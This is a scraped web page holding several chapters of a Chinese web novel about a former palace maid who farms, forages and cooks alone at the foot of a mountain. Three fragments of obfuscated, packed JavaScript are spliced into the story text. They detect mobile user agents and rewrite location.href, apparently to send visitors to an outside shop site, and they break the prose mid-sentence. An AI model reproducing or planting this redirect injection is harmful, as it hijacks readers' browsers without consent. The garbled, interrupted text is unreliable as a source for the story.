l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16771644|190244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的粮食。 每个地方播种的时间都不一样,临安的早稻,播期再晚也不会拖过清明。她是过完春分之后离开永安城的,距离清明也不剩多长时间了。 黄迎春心里很着急。 昨天她从镇上回家时,沿途也经过一些水田,勤快的农人已经起好垄沟,在晒秧田。 而她的田,连个影儿都没有,还等着她去开荒。 种水稻的田地很好选址,水稻喜欢土壤肥沃、排水通畅、阳光充足的土地,黄迎春沿着河走,随随便便就能找出好几块适合育苗移栽的土地。 但是,开荒难啊! 地上有野草、杂树和荆棘,地下有树根、草筋和硬邦邦的石头。 一听到锄头和石头碰撞的声音,黄迎春就止不住的心疼。 她生怕她唯三的农具之一出了什么差错,铁多贵哪! 好在,刚买来的锄头还是耐用的,洗净之后除了表面多了一些划痕,并没有什么损伤。 而黄迎春耗费了整整三天的时间,终于把临河的一小块土地拾掇干净。 她砍了树,割了草,锄了土,捡了石头,总算开出了自己的第一块田产。 来不及喘口气,黄迎春又开始她轰轰烈烈的伐竹大业。 锄草不易,好不容易拔掉的草,若是没有及时从地里拿走,过一个晚上,第二天再去的时候,它就能重新在地里扎根生长。 这个道理,在先前那个农家里活了十二年,又在花草司忙了十五年的黄迎春十分清楚。 她每天都赶在天黑前把当天从地里清理出去的草木带回家,放到厨房外面的空地上阴干。 可是,她每天都要往返好几次。 原因只有一个——她没有运输工具,全靠手捧肩扛! 没有背篓和簸箕的日子黄迎春一天也过不下去,因此,趁着地开了一块,天上又下起小雨,黄迎春急忙筑起垄沟,又冒着雨水去竹林里砍了好几棵碗口粗的大竹子,用镰刀劈成段,再分批运回家。 抹节,杀青,破竹,开条,取青蔑,纵横交错…… 内底,外底,合筐,修边,锁边,燎戗…… 黄迎春给自己做了一个解放双手的竹筐,然后,又迫不及待地劈了好几个竹筒,洗好后放在灶台上阴干。 天可怜见,这几日她在田里都快渴死了。 寻常人家农忙时,白天都在地里忙活不回家,饭食都是家人送到田里来。 黄迎春的家里只有她一个,要想吃上饭,只能每天自己跑回家去做。 虽然已经春天了,但天还是早早就暗了,黄迎春初来乍到,不敢晚上还在外面干活,生怕遇上野兽袭击,所以十分珍惜白天的时间,拼命在地里劳作。 汗流得越多,嘴里越干,偏偏黄迎春为了省钱,连个葫芦都没买,自然也没有器物可以装水带到地里来喝。 她也不敢喝河里的生水,怕寄生虫在肚子坐病。 想着反正要回家做饭,自然有可以喝水的时候,所以每天黄迎春都处在旱的旱死,涝的涝死的状态里。 今天终于有空给自己搞个水壶了,黄迎春热泪盈眶,险些把手中的毛竹变成湘妃竹。 劈段竹节,量个尺寸,做个记号,再用随身携带的小刀一点点地磨,不知过了多久,月上当空时,黄迎春坐在冒着火光的灶台前,一手拿竹筒,一手拿竹节,两相一对,这两样本是同根生的东西立即合二为一,严丝合缝,包管一点灰尘都落不进去。 安家第五天,黄迎春终于拥有了一个水壶。 14.咸蛋黄荠菜饭团 润物细无声,说的便是春天的雨。 刚开出来的土地被雨水浸了一天,颜色更重一层,看起来愈发像个良田的样子,肥力似乎也不错,黄迎春在地里忙活了三天,终于把这块地拾掇得不见一片绿叶,早上冒雨赶来一看,又有几棵野草冒出头来。 白雾笼罩着远处的群山,近处的绿景生机盎然,淅淅沥沥的小雨落在河面上荡起一圈又一圈涟漪,黝黑的土地上,几点绿意点缀其间……如果黄迎春是位踏青的游客,见此情形,不说吟诗,也要作画,总之怎么也得留下一道墨宝。 可惜,黄迎春只是一个没有蓑衣遮身的农人。 春回大地,万物复苏,天气虽已回暖,但早晚还是冷的。 更何况黄迎春把家安在山脚,气温只会更低。 黄迎春知道此时最好的做法就是待在家里等着雨停,顺便再编点簸箕、箩筐之类的装盛工具,但她实在等不及,因此冒着受风寒的风险也要出门来侍弄土地。 黄迎春举起锄头,重重落下,再一铲一翻,果不其然,这场突如其来的春雨只让她刚开垦出来的土地受了皮肉之伤。 此刻把她藏在干荷叶里的菜籽拿出来播撒,二十天之后她就能吃上自己亲手种的绿菜,赶着这场春雨,连浇灌的力气都省了,但这点湿润度对水稻育苗来说却远远不够。 黄迎春捧起冰凉的双手放在嘴边哈了一口气,白雾尚未消散,锄头垦地的声响已经传来。 黄迎春一下接一下地挖,渐渐从田边挖出一条通往河流的沟。 黄迎春本来就打算在这块地上育苗,所以特意选了离河近的地方。 总共也没几步的距离,黄迎春却生生挖了许久。 雨水混着湿土化作泥泞黏在锄头上,黄迎春每一次把锄刃砸在地上,松土、翻土、挖土和扬土都十分费力。 幸好,地里没有巨石拦路,为黄迎春减轻了不少的工作量。 最后一锄头下去,河流有了缺口,缓缓流淌的河水流速一下子变急,拼命往黄迎春挖出的这条小沟涌去,灌进田里。 田里灌满水后,黄迎春又用锄头把河边的缺口填上,刚才挖出来的土又聚在一处,将缺口堵得严严实实,彻底截断了河与沟之间的通路。 黄迎春扶着锄头站在田埂上望着她的杰作。 清澈的河水在田里横冲直撞,却始终不得其法,找不到出路,最后只能变了颜色,缓缓地往下渗。 这块地要浸泡数十天,这期间,土壤会越来越松软,之后无论是耕耙还是插秧,都会更容易。冬天时躲在地底的虫卵和春天孵化的幼虫们也会随着水流从地里排出,飘在水面上,减少这片土地的病虫害。 地的问题解决了,接下来就该忙活晒种催生。 晒种也可以杀死种子表面的虫卵,减少种子带病的可能性。 不过晒种通常要选择晴朗的天气,最好是有太阳的好天,把种子摊开在干净的竹皮簸箕上,一天拿出去在太阳底下晒上两三个时辰,经常翻面,两天为宜,再放在阴凉处冷却,然后就能浸种催芽了。 昨天晚上并没有打雷,黄迎春一看老天这架势,就知道这场雨短不了。最近这几天是看不到晒种的好天了,好在今日把地灌满水,怎么也要浸泡个十来天,黄迎春不紧不慢地拔了把河边的草叶,就着河水把锄头上的泥土都洗刷干净,然后把锄头往田边一搁,背起装着鹤嘴锄的竹筐就往之前挖过野葱的山坡走去。 她前几天在那里发现的,可不止野葱,还有荠菜。 荠菜的样子很好认,像观音菩萨底下的莲花座,叶子的边缘像锯子一样,是粗锯齿状。 荠菜的根也不深,鹤嘴锄沿着莲花座的边缘往地里一锄,荠菜就能轻轻松松地全部挖出来,拔出来把土抖掉,再丢到身后的背篓里,不一会儿,黄迎春就觉得自己昨天应该再编个竹篮。 挖菜什么的,还是提着竹篮更省事啊。 经过了春雨的洗涤,荠菜的颜色更翠了,嫩生生的。 兴许是没有人来采的缘故,山坡上的每棵荠菜都长得又肥又大,比中空的野葱丰满多了。 不过,哪怕是只能当调味品的野葱,也被黄迎春连根带须的薅了许多移栽到院子里,更何况荠菜这种既能做菜又能腌制还能晒干之后当储备粮的正经菜,黄迎春见了漫山遍野的荠菜,愈发心喜,恨不得这一天都待在山坡上,直到把它们全部挖回家。 身上越来越潮湿的衣裳及时帮黄迎春遏制住这个可怕的想法,挖够了小半篓后,黄迎春把荠菜提到河边开始冲洗。 雨天没太阳,家里也没有打鸣的公鸡,黄迎春认不清时辰,但是一大早起来忙活许久是事实,饥肠辘辘的肚子也开始敲锣打鼓,凭着感觉,黄迎春也知道时辰不早,但河水还是刺骨的凉,没有一点儿暖意。 要不然还是把荠菜带回家烧盆热水洗吧? 这个念头在黄迎春的脑子里刚转了一圈就被她打消了。 施工队虽然没拿她的草木,但他们也不会多做好事。 盖房拔除的花草树木,还有盖好房屋之后剩余那点的竹木边角料,都被施工队堆在了厨房外。 黄迎春挑了已经晒透阴干的,早早搬进厨房堆在墙角,方便烧火取用。其他的,依然放在屋外继续晾晒。 开荒那几天从地里搬回的草木也是一样的做派。 结果,地刚开出一块,天就下雨了,她放在室外的草木还没晒干就又淋湿,根本当不了柴火。 眼见这雨还要下几天,晚上还要烧炕,厨房里的柴火还不知道够不够用……黄迎春想了想,果断把手浸在冰冷的河水里,细致地洗去荠菜上的泥土。 河水真的很冰,黄迎春一边加快冲洗的速度,一边在心里给自己鼓劲。 如果把荠菜拿回家里洗,不说柴火,就是水,也要花上许多。俗话说,地菜吃根,白菜吃芯。这荠菜根上的土这么多,她又采了那么多,要洗干净这么多的荠菜,兴许家里木桶里的水都不够用,还要她去河边挑。她虽然买了两个木桶,但家里连根扁担都没有。她的力气不够大,一次只能提一桶水,雨又一直不停,为了取水,还不知道要在路上耽误多少工夫,不如在河边洗了,干干净净地带回家去…… 手在河里浸得久了,也就不如一开始感觉的那么冷了。 黄迎春直到回了家中,用红中带紫的冰凉的手拿起木头锅盖,被热腾腾的白汽扑了满脸,才忍不住打了一个寒颤。 早起放在锅里的米饭已经焖好了,黄迎春把变色的竹筒拿出来,洗了锅,又舀了两瓢清水,之后,她把姜放在木头锅盖上,先切了四五片姜片,又把姜片切成细丝,然后剁成姜碎,接着把它们全部放到锅里,让姜碎在水中慢慢熬煮。 只喝姜水就能御寒吗?好像不够。 黄迎春咬咬牙,又从一个最小的罐子里拿出一块红糖,放到锅里之前,她又拿起菜刀,把红糖一分为二,更大的那块放回罐子里,更小的那块丢进锅里,然后才心满意足地盖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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山里兴许是有野鸡野鸭的,但黄迎春回山后,这几天尽忙着开荒了,去过最远的地方就是山坡再过去一点的竹林,还没有空闲开发新地图,因此也没机会捡到野鸡落在草丛里的蛋。 虽然黄迎春两辈子都更喜欢吃鸡蛋,但她想不通为什么在安朝鸡蛋卖的会比鸭蛋贵上那么多。 三文钱只能买到一个鸡蛋,却能买到一个红得流油的咸鸭蛋。 要知道,盐铁二字,是天下最利。 铁已经够贵的了,黄迎春的二十贯,大多都花在铁制的农具和厨具上,但盐还排在铁前面,哪怕知道腌菜需要大量的盐,黄迎春被盐价吓得最后还是只买回家一小罐。 咸鸭蛋没有足够的盐,便腌不成,腌不好。 然而,一个生鸡蛋竟然和盐味十足的咸鸭蛋一个价! 黄迎春实在想不通,然后她立刻拿着九十文钱买回三十个咸鸭蛋。 卤水是不送的,那是人家的家底儿,但是卖咸鸭蛋的娘子家里的郎君在陶具行上工,为了拉拢黄迎春这个大方的客户,于是送了黄迎春好大一个陶罐,里面放了几把米糠,三十个咸鸭蛋被脚夫从镇上挑回山脚,一个也没有破。 黄迎春从陶罐里取出一个,洗净敲碎剥开,挖出油汪汪的咸蛋黄,混着切碎的新鲜荠菜炒了一盘,然后把它们放在带着清香竹味的白米饭上,做成一个用料丰富的饭团。 蛋黄的糯,蛋白的咸,荠菜的鲜,米饭的香……咸香鲜糯的咸蛋黄荠菜饭团完美慰藉了辛苦了一早上的黄迎春。 她喝着甜滋滋的红糖姜汤,生姜霸道的辛辣味充斥口鼻,几口下去,别说胃肠,食道都被烫得热乎乎的,竟是一点儿都想不起在河边洗荠菜时的冷意了。 黄迎春站在充满烟火气的厨房里,隔着雨幕望着家门口杂草遍布的院子,暖和的手掌心贴着碗壁,又举起碗喝了一口冷热适中的姜汤,舒适地翘起嘴角。 门口的地也该翻一下了,春雨贵如油,正是种姜的好时节啊! 15.松树菌虾仁汤 山里的第一场春雨,淅淅沥沥地足足下了三天。 俗话说:湿时耕种,带雨锄地,不如回去,坐在家里。 无论春秋,无论高地低地,耕种时总要干湿得当才好。 下雨的时候去耕种,土壤就会结成硬块,几年都无法散开。 不知是哪位老祖宗传下来的经验,但自从黄迎春降生在安朝的土地上,她见过的每一个黄家村的村民都遵循着这个道理。 因此,在无法耕种的最后一个雨天,黄迎春放下手中刚编好的一个竹簸箕,拿起一顶散发着翠竹清香的竹编帽子戴在头上,揽着竹篮,合上房门,脚步轻快地往竹林走去。 编蓑衣需要稻草和棕毛,这两样材料黄迎春一时半会都弄不来,只好先用竹子做了一顶帽子,帽檐特意编得更宽一些,只为了多遮盖一点风雨。 没有电吹风的朝代,想弄干被雨水打湿的长发,只能打散头发坐在火盆旁边一点点地烘干。 湿发的时间愈长,年纪上来后闹头风的可能性就越大,甚至不用担心那么远,一场风寒或高烧不治就能随时要了一个人的病。 更别提黄迎春还住在偏僻的山脚下,去镇上寻医问药都要花上大半天,真得了风寒,再冒雨赶路,就是赶到镇上,遇见大罗神仙也救不了她的命。 而且,家里还没有可供烘衣烤火的火盆。 炭价高昂,黄迎春根本没舍得买木炭,这两天淋了雨,都是抱来枯枝落叶就地升起一个火堆,把头发摊在火堆上一点点烤干的,还要格外注意不要让火星从火堆里迸溅出来烧到她身上。 湿掉的衣服倒是好办,火炕烧得热,把衣服摊在炕上放一晚,睡到半夜再翻个面,第二天起来就能继续穿上身。 烘干的衣服被轻飘飘的雨水一淋,又浸了点凉意。 黄迎春放下拍打衣裳的手,攥着满掌心凉津津的水迹,偶尔借着竹子一扶,便稳稳当当地走进了竹林深处。 这片竹林长得十分茂盛,竹子密集,竹叶层层叠叠,隔绝了大半雨水。 余下的,便伴着昼夜不停的沙沙声,从粗细不一的笔直竹干上滚滚而下,打在青翠的竹叶上。 泥泞的土地上,带绿色的笋尖急不可耐地破土而出,个头不大,看着十分鲜嫩。 黄迎春面不改色地路过一颗又一颗鲜嫩的竹笋,始终没有停下她的脚步。 黄迎春的厌笋症,是杏林医馆里妙手回春的大夫也治不了的工伤。 安朝的开国皇帝和建国功勋都是泥腿子出身,虽然他们立下了常人难以匹敌的成就,但还是免不了做为人的劣根性。 人大多都是这样,越缺什么,便越想有什么。 前朝老人几篇挑衅的缴文一出,随着滚滚人头落下,一股清贵的文人之风也悄然席卷了皇宫王廷。 梅兰竹菊风雅四君子,更是贵人所好。 黄迎春刚去花草司那阵,在后山见到漫山遍野的竹子,还生出了一点亲切的思乡之情,等吃了十几年的苦笋之后,每回路过竹圃,不管那里的竹子长得多么青翠多么笔直,她连个眼角余光都不带给的。 竹子有许多品种,黄迎春现在看到的这片竹子是毛竹林,而宫中种的大多是苦竹。 这是开国皇帝想出的好主意,他既想赶快洗掉身上的泥点子,又不希望后人忘记他打江山吃的苦,沉浸在富贵中,步入前朝灭国的后尘。 竹子,风雅,很好。 吃苦,也很好。 苦竹,二者兼得,太好了! 于是,皇宫里就种上了大批的苦竹。 不知道是为了附庸风雅,还是想彰显自己吃苦耐劳的好品质,忽然有一天,有个贵人带头吃起苦笋,然后,人人都开始在竹笋丰收的季节吃起苦笋,等黄迎春进宫的时候,这已然成为一种崇尚的风气。 其实,苦笋性凉,能解毒辣的暑气,而且味重,下饭,是一道很有益处的菜肴。而且,皇宫中种的苦竹是精挑细选的品种。叶子又长又阔,肉还很厚,吃起来只有微微的苦味,许多人都称之为甜苦笋,就是拿出去售卖,所得的价钱也是苦笋里最贵的。 黄迎春偏偏却对这诸多好处视而不见。 任是谁吃了多年的苦笋,又因为苦笋害病,也不会再去吃它。 上个月,大夫细致地问过过往的饮食史后,黄迎春才发现原来她体质偏寒、脾胃虚弱、手脚冰凉,还有苦笋的错。 偏偏竹笋一年能长两季,又是在缺粮少食的冬春,不要钱不说,长得又快,贫困人家恨不得顿顿吃笋饱腹。 世情如此,但大夫还是对黄迎春千叮咛万嘱咐,让她不要再吃苦笋,苦笋性寒,于她无益。 黄迎春花了二十贯才把自己的小命捡回来,而且在杏仁医馆治了一个月,身上的病痛从第一天针灸结束之后就大有改观,如今自然不敢不遵医嘱。 而且,竹笋她也吃怕了。世界上也许存在爱吃一道菜爱到一辈子都吃不腻的人,但黄迎春明显不在此列。 等天晴了,她就把门口的地垦出来,烧点草木灰做肥,再撒上菜种,认真锄草浇水捉虫,到时候,自己种的菜都吃不完,就再也不用可惜这些没办法吃的竹笋啦。 黄迎春看了一眼面前的竹笋,毫不犹豫地越过去,扒着竹干,走到一棵松树旁。 竹子和松树经常长在一起,在山里,有竹子的地方就有松树。 松树喜光,耐贫瘠,根系又深,在山上一长就是一大片,哪怕是在土壤不好的环境,也能顽强扎根。 而竹子耐阴,喜欢长在温暖湿润、土层深厚、土壤肥沃的地方。竹鞭的根系很浅,只在土壤表层蔓延,并不会和松树争抢资源。 高大的松树为竹子的生长提供荫蔽,喜阴的竹子又在松树林下慢慢繁衍。 前期,两者相安无事,甚至可以说是互有裨益。 但是,当竹子的繁衍能力增强,竹鞭就会在地下迅速蔓延,抢占土壤的空间和养分,使松树幼苗无法安心生长。 被竹子排挤的松树苗,渐渐失去了在这片共存的土地上的立锥之地,凄惨地死去。 等到成年的松树们因病或老化死亡后,这片没有松树幼苗的土地,就会渐渐变成纯竹林,一眼望去,全是一样的景色。 黄迎春找到的这棵松树,显然是这片竹林的手下败将。 她看不到一棵松树幼苗,目之所及,除了茂盛的竹子,只有几棵高大的松树,其中一棵已经老化死亡,是满目青翠中唯一的一抹异色。 黄迎春的目标并不是这棵腐朽的松树。 老化的松树晒干之后木质干燥,容易开裂,燃烧的时候会冒出很多黑烟,十分熏人,并不是黄迎春砍柴的首选。 虽然黄迎春现在每天都活在柴火告罄的担忧中,一天望着雨幕能叹十几次气,但是,并不妨碍她挑挑拣拣。 不过,蚊子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16786026|190244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再小也是肉。黄迎春决定等雨停了,就找个时间过来把这棵枯死的松树搬回家。 现在,她小心翼翼地望着脚下,果不其然,在松树下发现了好几朵松树菌。 松树菌长在松树叶子下,菌盖圆圆的,呈黄褐色。菌柄也是同样的颜色,较粗,像根圆柱。 黄迎春在捡拾时,看到了几朵和松树菌长得一模一样的菌子,但蓝绿色的颜色让她望而生畏,连一根手指都不敢伸过去。 蛇喜欢在雨天活动,暴雨时节,蛇也会和人一样,优先选择在家躲雨。但春天这种雾气朦胧的小雨是蛇最喜欢的,黄迎春走在竹林里,生怕自己遇到剧毒无比的竹叶青,因此每走几步就要拿根棍子在四周翻翻捅捅,没想到竟然因此在松针和草叶下发现了更多的松树菌。 明明看上去完全不像底下还有东西的样子,松树菌实在是藏得太隐蔽了! 黄迎春原本还想走远一点儿,例如对面那片茂密的松树林,里面的松树菌一定很多,只是还没等她找到路,手里的竹篮已经装了七八分满。 下雨后,松树叶子会腐烂,然后松树菌才会从松树叶子里冒出来。黄迎春今天其实只是来碰碰运气的,毕竟天还没放晴,也不知道松树菌长出来了没有。没想到,这几棵松树竟然给了她这么大的惊喜。 因此,回程时,在河里把箩筐提上来,搬开重量不轻的石头,在筐底只看到几只活蹦乱跳的河虾,黄迎春也没有多么失望。 诱虾的饵料是前两天灌田时在水里捉到的一只小鱼,那鱼真的极小,只有黄迎春一根手指长,一点吃头也没有,黄迎春就把它丢进箩筐里做诱饵,虽然只钓到几只河虾,但有总比没有强。 黄迎春十分知足。 她拎着一路走一路往下滴水的箩筐回到家里,脱下帽子,换了一身干净的衣裳和鞋,赶不及生火烘衣,连忙舀起锅里熬得浓浓的红糖姜汤,刚想趁热喝上两口祛除寒气,碰到滚汤的碗壁,又蔫蔫地把碗放到一旁晾着。 松树菌去掉柄头,一朵朵洗净,再放在圆圆的簸箕里晾着。 河虾洗净,去掉虾脑,抽出虾线,拔掉虾头,也放在一旁备用。 河虾被誉为开春第一鲜,三月的河虾,正是肥美的季节。虽然只钓到六条,但各个个头都不小,比黄迎春想象中的小虾米好多了。 黄迎春拿了一点猪油在锅里化开,趁着热油把虾头放进去炒出虾油,再把两片姜片切成细丝倒进锅里,拿着锅铲不断翻炒,给虾头去腥,之后舀进一瓢清水。 闻着虾油煸炒出来的味道,黄迎春拿着水瓢的手顿了顿,然后又从木桶里舀了一瓢清水倒进锅里。 反正松树菌采得多,不如就不放米了,晚上再吃饭吧。 黄迎春把洗好的松树菌切成片,又拿了一把带土的荠菜出来洗净切碎,趁着水开,连着虾肉一起放在锅里,大火煮开,开盖时又撒了一点盐和一把葱花,一锅热气腾腾的松树菌虾仁汤就煮好了。 河虾极鲜,松树菌也非常鲜,这两种人间至鲜美味放在一起,黄迎春都分不出哪一个更好吃,总之都是十分的鲜美可口。 唯一美中不足的,就是黄迎春不舍得把炒出虾油之后的虾头从锅里捞出来,于是她今天虽然免遭被红糖姜汤烫到的厄运,她的舌头依然挂了彩。 想吃顿好的,怎么就这么难呢? 黄迎春想不通,她唯一清晰的认知,便是她缺少一把厨用剪刀。 16.蕨菜炒山鸡蛋 下雨的日子里,无所事事的黄迎春想了一大堆天晴时要做的事。 于是,待化冻许久的泥土吸足了雨水,天边薄雾消散,露出美妙的晨光,黄迎春便迫不及待地奔出家门,开始大杀四方。 田地要开垦,柴火要打,稻种要晒,菌菇要采,衣服要洗…… 黄迎春有许多事情要做,她忙得恨不得把自己劈成八瓣。 虽然天色放晴,出了太阳,但黄迎春还是不敢贸然把稻种拿出来晒。 春天正是多雨的时节,山上的天气又多变,倒不会说突然来一场夏天那种雷电交加的倾盆大雨,但是忽然落下一场小雨,也是不得了的事情。 比患上风寒更让黄迎春惶恐的,便是她的稻种因为淋雨发霉。 黄迎春容许自己在雨天跑出家门,去地里灌田、挖野菜、采蘑菇,但她万万不敢让自己的宝贝稻种淋一滴雨。 那是她的口粮,她今年活下去的希望。 为了稳妥起见,黄迎春决定耐心等待。如果今天的天气没有变化,明天还是一个好天,她就把稻种拿出来晒。 今天,黄迎春把她全部的力气都花在了院子里,准确的说,是她家门前的一片荒地。 先前因为治病走不开,黄迎春将盖房子的事情全权放给宋大和他找来的施工队。 当然,其中也有往返一趟不仅费时费力更费钱的缘故,当时正心痛自己从前花钱如流水的黄迎春舍不得出这笔路费,所以她盖房子和别人的情况都不一样——乡下地界的其他人家盖新屋时,新屋的地址都是由自家早早选定的,没有施工队置喙的余地。 施工队建房之前认真考察过选址,各方面综合考虑后,为黄迎春定了一处依山傍水的好地方,其中不免也有方便施工的考量。 所以,虽然囊中羞涩的黄迎春盖个新家连个院子都没余力花钱修建,还得自己慢慢收拾,但她家附近的草木看起来的确是这片地方里最少的,不像她前几天开荒的那块地,动不动就长一人多高的野草杂树,她拿着镰刀走进去,天上飞的鸟儿都看不到她的身影。 割下来的野草,挖出来的树根,砍下来的树枝……这些东西都被黄迎春用敞口簸箕装了倒在一旁,摊在湿润的土地上,任由高高挂起的太阳一点点地慢慢蒸发它们的水分。 虽然刚下过的雨的土地十分湿润,但最好还是在雨停后等一两天再去播种效果更好。 因为雨后土壤易板结,这时播种虽然省了灌溉的力气,但会影响种子发芽。 不知是幸运还是不幸,黄迎春把家门口的一块地拾掇干净,恰好花了一整天的时间。 地开出来只是第一步,把地耕透才是最难的。 黄迎春没有耕牛,只能靠一把锄头一点点地在地里深耕。 半天下来,腰都直不起来,只能抵着锄柄呼哧呼哧地喘粗气。 汗水不停地从额头往下流,黄迎春却没去擦。 她的手上沾满泥巴,有新鲜的,还有干透的,糊在她被叶片和荆棘刮伤的手背上,停下来才觉着疼。 黄迎春看着自己伤痕累累的手,十分想念她在花草司里斥巨资买的两副手套。 往往是刺越多的花开得越娇艳,在花房里干活免不了和花刺打交道,除草时也容易被一些锋利的草叶割到手,黄迎春刚上工时,手上几乎是日日都会添一道新伤口。 后来干得多了,熟练了,知道哪些花容易带刺,哪些花人畜无害,加上锻炼出来,皮糙肉厚了,手上的伤口倒是少了许多,但还是不可避免会受伤。 于是领了月俸便攒起来,好不容易才攒到一双手套,戴上果然好了许多,后来就再也离不开这件用品,缝缝补补,但一年半载的总要重新买一副。 旧的那副看上去不成样子,但戴着比新的还舒适。 新的那副是刚买的,才用了不到两个月。 可惜当时以为自己命不久矣,出宫的时候什么维持生计的物件都没带,想着日后用不着,两副手套全留给桃花了。 …… 不能想,一想起来就后悔个没完。 黄迎春摇摇头,化悲伤为动力,拄着锄头走到河边,揪掉几根野草团成团,把沾满泥土的锄头洗刷干净,然后把锄头放在旁边,拿起镰刀往竹林走去。 镰刀是一早和锄头一起从家里带出来的,一上午了没用过,也没丢。 住在荒无人烟的地方,唯一的好处大概就是东西放在哪儿都不怕人偷吧。 黄迎春苦中作乐地想。 忙了整整一个上午,累得腰酸背痛,黄迎春没力气再去耕田,打算去竹林砍几棵竹子带回家补给一下自己的材料库。 无法出行的雨天和夜里没事干,黄迎春就坐在家里一边烤火一边编东西。 这几天她夜以继日地编了好多东西——竹编的帽子,竹编的簸箕,竹编的篮子,竹编的箩筐…… 不仅如此,家里刷锅用的锅刷是用竹子做的,捞菜用的长筷是用竹子做的,装水的水壶和蒸饭的竹筒还是用竹子做的。 黄迎春每天都往家里搬几根竹子,但砍的赶不上用的,家里的竹子已经快用完了,黄迎春决定再砍一根竹子搬回家去做成扁担,这样她就能把更多的竹子从竹林里搬回家了! 竹子虽然不经烧,但它引火快,而且砍竹比砍树枝方便多了,多年生的粗竹子还需要多费点力气,但是那些五根手指就能包拢住的竹子,找好角度拿镰刀狠砍几下就倒了,黄迎春连砍十棵都不震手。 黄迎春兴冲冲地在竹林里左劈右砍,一时间,竹林里全是竹子唰唰倒地的声响。 惊蛰天孵化出来的虫蚁四处逃窜,被竹子落地的声音吓了一跳又一跳。 黄迎春还和一只山鸡对上眼。 可能是从出生后就没见过人,那只屁股上长着绚丽羽毛的瘦鸡见到黄迎春还不知道跑,傻愣愣地站在土坡上,直到又一棵竹子倒地,才惊慌失措地张开翅膀,扑棱着几根毛,飞速地逃离了这片不祥之地。 黄迎春握着锋利的镰刀,视线追随着逃跑的山鸡,见它不一会儿就飞出了自己的视野,遗憾地叹了一口气。 虽然看不去没有几两肉,但好歹也是只鸡啊。 就这么在眼皮子底下跑了,心好痛。 黄迎春吃鸭子只喝汤,丁点肉都不沾,吃烤鸭也只吃外面那层烤得焦香流油的枣红色鸭皮。 吃鸡就更挑嘴了。 连鸡汤都嫌弃油腻,不喝。 不管是学校食堂男生一顿能打两三个的大鸡腿,还是晚自习后学校超市里女生排着队买的奥尔良烤鸡翅,黄迎春上辈子一次都没光顾过,唯一能吃得下的鸡只有肯德基。 家人说她挑嘴,她还拿着自己的标准体重振振有词。 如今想来,那些画面仿佛都是上辈子的事了。 那些的确是上辈子的事。 这辈子十二岁之前,别说鸡肉鸭汤了,就是鸡鸭下的蛋,黄迎春一年都不见得能吃上一个。 肚子里没有油水的时候,对着树上的知了都能饿得流口水。 入宫被分派到花草司后,同批的宫女对着花 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16792088|190244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丛里游出来的小蛇花容失色,黄迎春却在想如果她抓了这只蛇,这只蛇能不能算她的,她夕食没吃饱,晚上想加餐。 在花草司里当值,别的好处没有,倒从来没有听过有哪个宫女是饿死的。 每天两顿餐食,量大管饱,但若想打打牙祭,必须要自己额外再出银子,任底下的宫女把嘴皮子哄上了天,厨房管事的也不吃这一套。 黄迎春甚少在吃食上花钱,她一门心思想着攒钱,好让自己出宫后的日子过得富裕一点。 现在可倒好,宫是出了,钱却一点儿也不禁花,一百贯钱转瞬间花的一干二净,还得过扣扣搜搜的日子。 黄迎春望着那只跑掉的山鸡,满腔后悔之情无以言表。 家人说的没错,上辈子她真的太挑嘴了,如今挑食的毛病不药而愈,偏偏再也没有弥补的机会。 如果我能扛过今年,明年我一定要去镇上的鸡鸭行买上几十只鸡鸭,漫山遍野地放,让它们自己觅食,渴了喝水,饿了吃草,困了就跑回鸡窝鸭舍去睡觉,天天早上下蛋给我吃…… 恶狠狠地发着誓言的黄迎春不知不觉间沉浸在美好的幻想中,直到她忽然眼尖地在最开始发现山鸡的地方看到了一点亮白。 这点白色在不是绿色就是土色的竹林里十分亮眼,答案呼之欲出,黄迎春的一颗心高高提起,直到她走过去,把那颗小巧的山鸡蛋拿在手里,心才落到实处。 不知是不是黄迎春的错觉,手里的山鸡蛋还有点温热,仿佛是山鸡刚下出来的。 黄迎春捡到一个鸡蛋,比砍了满地的竹子还高兴。 就让这些竹子在地上躺两天吧,说不定晒一晒搬走时还更轻一点。 黄迎春捧着这枚来之……好像来得也很容易的山鸡蛋,小心翼翼地看着脚下,以比平时慢了许久的速度,缓缓地走回家。 随着一声细微的轻响,鸡蛋白色的外壳磕开一条缝,一抹鲜艳的橙黄以迅雷不及掩耳之势飞快地滑进碗里。 黄迎春拿起一根筷子伸进蛋壳,绕着蛋壳刮了一圈,不放过一点蛋清。 太好了,没坏! 黄迎春拿起一个圆簸箕倒扣在碗上,这个簸箕是她编来盛放配菜的,怕容量不够导致菜溢出来掉到地上,黄迎春特意编得深了点,洗过煮过又晾过,上面一点水迹也无,此时拿来遮盖碗里的鸡蛋刚刚好。 万一有小动物闻到香味跑到厨房糟蹋鸡蛋呢? 黄迎春想了想,还是不太放心,索性把碗放到锅里,再严丝合缝地扣上笨重的木头锅盖,这才心满意足地提着竹篮出门。 